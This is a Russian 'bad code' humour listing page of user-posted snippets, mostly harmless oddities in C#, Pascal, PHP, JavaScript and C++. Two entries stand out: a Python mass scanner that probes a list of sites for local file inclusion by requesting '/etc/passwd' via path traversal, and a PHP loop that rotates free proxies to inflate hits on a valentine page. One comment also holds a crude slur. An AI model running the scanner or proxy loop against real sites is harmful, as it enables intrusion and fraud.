1. Лучший говнокод

    В номинации:
    За время:
  2. C# / Говнокод #534

    +152

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    DateTime dt = DateTime.Now;
    string h=dt.Hour.ToString().PadLeft(2,'0'); 
    string m=dt.Minute.ToString().PadLeft(2,'0'); 
    string s=dt.Second.ToString().PadLeft(2,'0');
    int ret = 0; 
    DateTime dt = DateTime.Now;
    try { sw = new     sw.WriteLine("--"+h+":"+m+":"+s+"--");

    guest, 11 Февраля 2009

    Комментарии (2)
  3. Pascal / Говнокод #529

    +141

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    { Units of time }
    
      HoursPerDay   = 24;
      MinsPerDay    = HoursPerDay * 60;
      SecsPerDay    = MinsPerDay * 60;
      MSecsPerDay   = SecsPerDay * 1000;

    SysUtils.pas из delphi 6

    guest, 10 Февраля 2009

    Комментарии (2)
  4. PHP / Говнокод #507

    +174.6

    1. 1
    define('PATH_thisScript',str_replace('//','/', str_replace('\\','/', (php_sapi_name()=='cgi'||php_sapi_name()=='isapi' ||php_sapi_name()=='cgi-fcgi')&&($_SERVER['ORIG_PATH_TRANSLATED']?$_SERVER['ORIG_PATH_TRANSLATED']:$_SERVER['PATH_TRANSLATED'])? ($_SERVER['ORIG_PATH_TRANSLATED']?$_SERVER['ORIG_PATH_TRANSLATED']:$_SERVER['PATH_TRANSLATED']):($_SERVER['ORIG_SCRIPT_FILENAME']?$_SERVER['ORIG_SCRIPT_FILENAME']:$_SERVER['SCRIPT_FILENAME']))));

    Typo3...
    О программерах:
    Диагноз: непредсказуемое поведение.
    Следствие: невозможность совершать объективное упроавление.
    Лечение: Изоляция, до тех пока не будет разработана методология по коррекции алгоритмики психики.

    guest, 06 Февраля 2009

    Комментарии (2)
  5. PHP / Говнокод #506

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    <?php
    
    set_time_limit(0);
    
    while (1) { 
    
    $proxyData = file_get_contents('http://www.freeproxy.ru/download/lists/goodproxy.txt');
    
    
    $matechs = array();
    
    preg_match_all('~\d+\s+(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+)~s', $proxyData, $matechs);
    
    
    foreach ($matechs[1] as $proxy) {
    
    $curl = curl_init();
    
    $str = array(
    
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122",
    
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    
    "Accept-Language: ru,en-us;q=0.7,en;q=0.3",
    
    "Accept-Encoding: gzip,deflate",
    
    "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7",
    
    "Keep-Alive: 300",
    
    "Connection: keep-alive",
    
    "Cache-Control: max-age=0"
    
    );
    
    curl_setopt($curl, CURLOPT_HTTPHEADER, $str); 
    
    curl_setopt($curl, CURLOPT_REFERER, 'http://bege.php.com.ua/2009/02/05/den-vsex-vlyublyonnyx/');
    
    curl_setopt($curl, CURLOPT_URL, 'http://valentine.magiclands.ru/lovetree/5934547976');
    
    curl_setopt($curl, CURLOPT_PROXY, $proxy);
    
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    
    $res = curl_exec($curl);
    
    
    var_dump($res);
    
    
    $curl = curl_init();
    
    $str = array(
    
    "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.5) Gecko/2008120122",
    
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    
    "Accept-Language: ru,en-us;q=0.7,en;q=0.3",
    
    "Accept-Encoding: gzip,deflate",
    
    "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7",
    
    "Keep-Alive: 300",
    
    "Connection: keep-alive",
    
    "Cache-Control: max-age=0"
    
    );
    
    curl_setopt($curl, CURLOPT_HTTPHEADER, $str); 
    
    curl_setopt($curl, CURLOPT_REFERER, 'http://valentine.magiclands.ru/lovetree/5934547976');
    
    curl_setopt($curl, CURLOPT_URL, 'http://valentine.magiclands.ru/lovetree/st/images/5934547976.png?371');
    
    curl_setopt($curl, CURLOPT_PROXY, $proxy);
    
    curl_setopt($curl, CURLOPT_TIMEOUT, 10);
    
    curl_exec($curl);
    
    }
    
    }
    
    ?>

    guest, 06 Февраля 2009

    Комментарии (2)
  6. PHP / Говнокод #492

    +169.8

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    if ($src == '') {
     ...
      if ($src =="") {
       ...
      }
    }

    лол

    guest, 02 Февраля 2009

    Комментарии (2)
  7. PHP / Говнокод #476

    +150

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    {? if (!isset($edit_style)) ?}
    <form action="disp.php?action=style_add" method="post">
    {? else ?}
    <form action="disp.php?action=style_edit" method="post">
    <input type="hidden" name="id" value="{? $edit_style.id ?}">
    {? /if ?}
    ...
    ...
    <td><input type="submit" value="{? if (isset($edit_style)) ?}Save{? else ?}Add{? /if ?}"></td>
      Ю

    guest, 29 Января 2009

    Комментарии (2)
  8. JavaScript / Говнокод #473

    +162.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function time__down_guest_book_IESHNIK_PIDARAS() //су..а на..уй в рот е.ись! //я это я процензурил ж) 
    { 
     scroll_book.setValueBy(0.05);
     if(parseInt($('scrol_book').style.top) < ($('scrol_book_container').getHeight()-22) && guest_opened == 1){
       
       down=setTimeout("time__down_guest_book()",25);
       processing = 1;
     } else {
      // $('scrol_book_container').style.display = 'none'; 
       guest_opened = 0;
      // alert($('scrol_book_container').style.zindex);
       $('scrol_book_container').className = 'guest_closed';
     }
    }

    у меня истерика была..

    guest, 28 Января 2009

    Комментарии (2)
  9. C++ / Говнокод #469

    +164.3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    int _I_ = 0;
    if (x > GetConstVal ())
       _I_ = 1;
    int ka = (_I_) * k;
    int kaka = (_I_); //Это случайно получилось :(

    Просто просится наложить...

    guest, 27 Января 2009

    Комментарии (2)
  10. PHP / Говнокод #457

    +35

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    <tr>
    	    <td width="21"><a href="javascript:couleur(0);" onMouseOver="window.status='<?php echo __("noir")?>';return true;"><img name="cou0" src="<?php echo HTTP_CHAT?>images/noir-select.gif" width=21 height=21 border=0 alt=""></a></td>
    	    <td width="21"><a href="javascript:couleur(1);" onMouseOver="window.status='<?php echo __("violet")?>';return true;"><img name="cou1" src="<?php echo HTTP_CHAT?>images/violet.gif" width=21 height=21 border=0 alt=""></a></td>
    	    <td width="21"><a href="javascript:couleur(2);" onMouseOver="window.status='<?php echo __("bleu")?>';return true;"><img name="cou2" src="<?php echo HTTP_CHAT?>images/bleu.gif" width=21 height=21 border=0 alt=""></a></td>
    	    <td width="21"><a href="javascript:couleur(3);" onMouseOver="window.status='<?php echo __("vert")?>';return true;"><img name="cou3" src="<?php echo HTTP_CHAT?>images/vert.gif" width=21 height=21 border=0 alt=""></a></td>
    	    <td width="21"><a href="javascript:couleur(4);" onMouseOver="window.status='<?php echo __("rouge")?>';return true;"><img name="cou4" src="<?php echo HTTP_CHAT?>images/rouge.gif" width=21 height=21 border=0 alt=""></a></td>
    	    <td width="21"><a href="javascript:couleur(5);" onMouseOver="window.status='<?php echo __("orange")?>';return true;"><img name="cou5" src="<?php echo HTTP_CHAT?>images/orange.gif" width=21 height=21 border=0 alt=""></a></td>
    	</tr>

    маленький кусочек говна из большого куска французского движка

    guest, 26 Января 2009

    Комментарии (2)
  11. Python / Говнокод #449

    −424

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    #!/usr/bin/python
    #LinkScanSimple will take a list of sites and
    #add an extension after the = then search the 
    #source for a match you choose. 
    
    #For an LFI scan I use "root:" but for a shell location
    #I would choose the shell title (r57shell). For SQL
    #you can choose a common sql error.
    
    import sys, re, urllib2, sets, socket
    socket.setdefaulttimeout(5)
    
    #---------------------------------------------------------
    #Edit what you want added to the address.
    EXT = "../../../../../../../../../../../../etc/passwd" 
    
    #Edit what you want to search for.
    MATCH = "root:"
    #---------------------------------------------------------
    
    def parse_urls(links):
    	urls = []
    	for link in links: 
    		num = link.count("=")
    		if num > 0:
    			for x in xrange(num):
    				link = link.rsplit("=",x+1)[0]+"="
    				urls.append(link+EXT)
    	urls = list(sets.Set(urls))
    	return urls
     
    def test(host): 
     	print "[+] Testing:",host.replace(EXT,"")
    	try: 
    		source = urllib2.urlopen(host).read() 
    		if re.search(MATCH, source): 
    			print "[+] Found:",host
    		else: 
    			print "[-] Not Vuln." 
    	except:
    		pass 
     
    
    print "\n\t   d3hydr8[at]gmail[dot]com LinkScanSimple v1.0"
    print "\t-------------------------------------------------\n"
    			
    if len(sys.argv) != 2:
    	print "Usage : ./linkscan.py <site_list>"
    	print "Ex: ./linkscan.py sites.txt\n"
    	sys.exit(1)
    	
    try:
    	sites = open(sys.argv[1], "r").readlines()
    except(IOError): 
      	print "Error: Check your site list path\n"
      	sys.exit(1)
    
    print "[+] Loaded:",len(sites),"sites"
    urls = parse_urls(sites)
    print "[+] Links Found:",len(urls)
    for url in urls: 
    	try:
    		test(url.replace("\n",""))
    	except(KeyboardInterrupt):
    		pass
    print "\n[-] Scan Complete\n"

    guest, 23 Января 2009

    Комментарии (2)